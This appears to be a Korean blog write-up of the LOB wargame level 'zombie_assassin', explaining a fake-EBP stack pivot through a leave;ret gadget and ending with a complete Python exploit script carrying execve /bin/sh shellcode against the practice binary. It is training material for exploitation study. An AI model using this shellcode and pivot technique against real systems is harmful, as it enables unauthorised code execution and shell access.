이번엔 ret을 leave, ret 명령어가 연달아 있는 주소로 옮겨서 익스해야 한다.
gdb까보면, main 함수 마지막쯤에 leave, ret이 있는데, 그 주소를 따오면 된다. (0x80484df)
그러면, leave - ret - leave - ret 이렇게 실행되며, 마지막 ret에서 쉘 코드가 실행되는 방식이겠거니, 생각이 든다.
내가 생각한 방식대로 하려면,
buffer주소 - 8
----------------------
buffer주소 - 4
----------------------
buffer[40]
----------------------
sfp
----------------------
ret
----------------------
이런 스택 구조에서, 익스할 48바이트 중 40-43은 buffer주소 - 8 이어야 한다.
즉, 정리하면 "\x90"*15 + "쉘코드 25bytes" + "buffer주소 - 8" + "leave ret 주소"
과정
1. 첫 번째 leave(mov esp, ebp; pop ebp)
ebp = sfp(*buffer - 8)
esp -> ret
2. 첫 번째 ret(pop eip, jmp eip)
eip = ret
jmp eip
3. 두 번째 leave
ebp = (*buffer - 8)에 저장된 값
esp = *buffer - 4
4. 두 번째 ret
eip = (*buffer - 4)에 저장된 값
jmp eip
이렇게 된다.
그런데, printf함수의 인자로 buffer 주소가 들어가는데, 이 때문에 eip에 buffer 주소가 담긴다.
jmp eip를 하면 쉘코드가 실행되게 되는 것
ex.py
import os
import struct
p32 = lambda x: struct.pack("<I", x)
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
sfp = p32(0xbffffaa8)
leave_ret = p32(0x80484df)
payload = "\x90"*15 + shellcode + sfp + leave_ret
filename='./zombie_assassin'
os.execv(filename, [filename, payload])
'워게임 > LOB' 카테고리의 다른 글
LOB - zombie_assassin(RTL chain) (0) | 2021.08.08 |
---|---|
LOB - giant (semi ROP) (0) | 2021.08.07 |
LOB - bugbear(RTL, execve함수) (0) | 2021.08.07 |
LOB - darkknight(RTL) (0) | 2021.08.05 |
LOB - golem(SFP overflow) (0) | 2021.08.04 |
댓글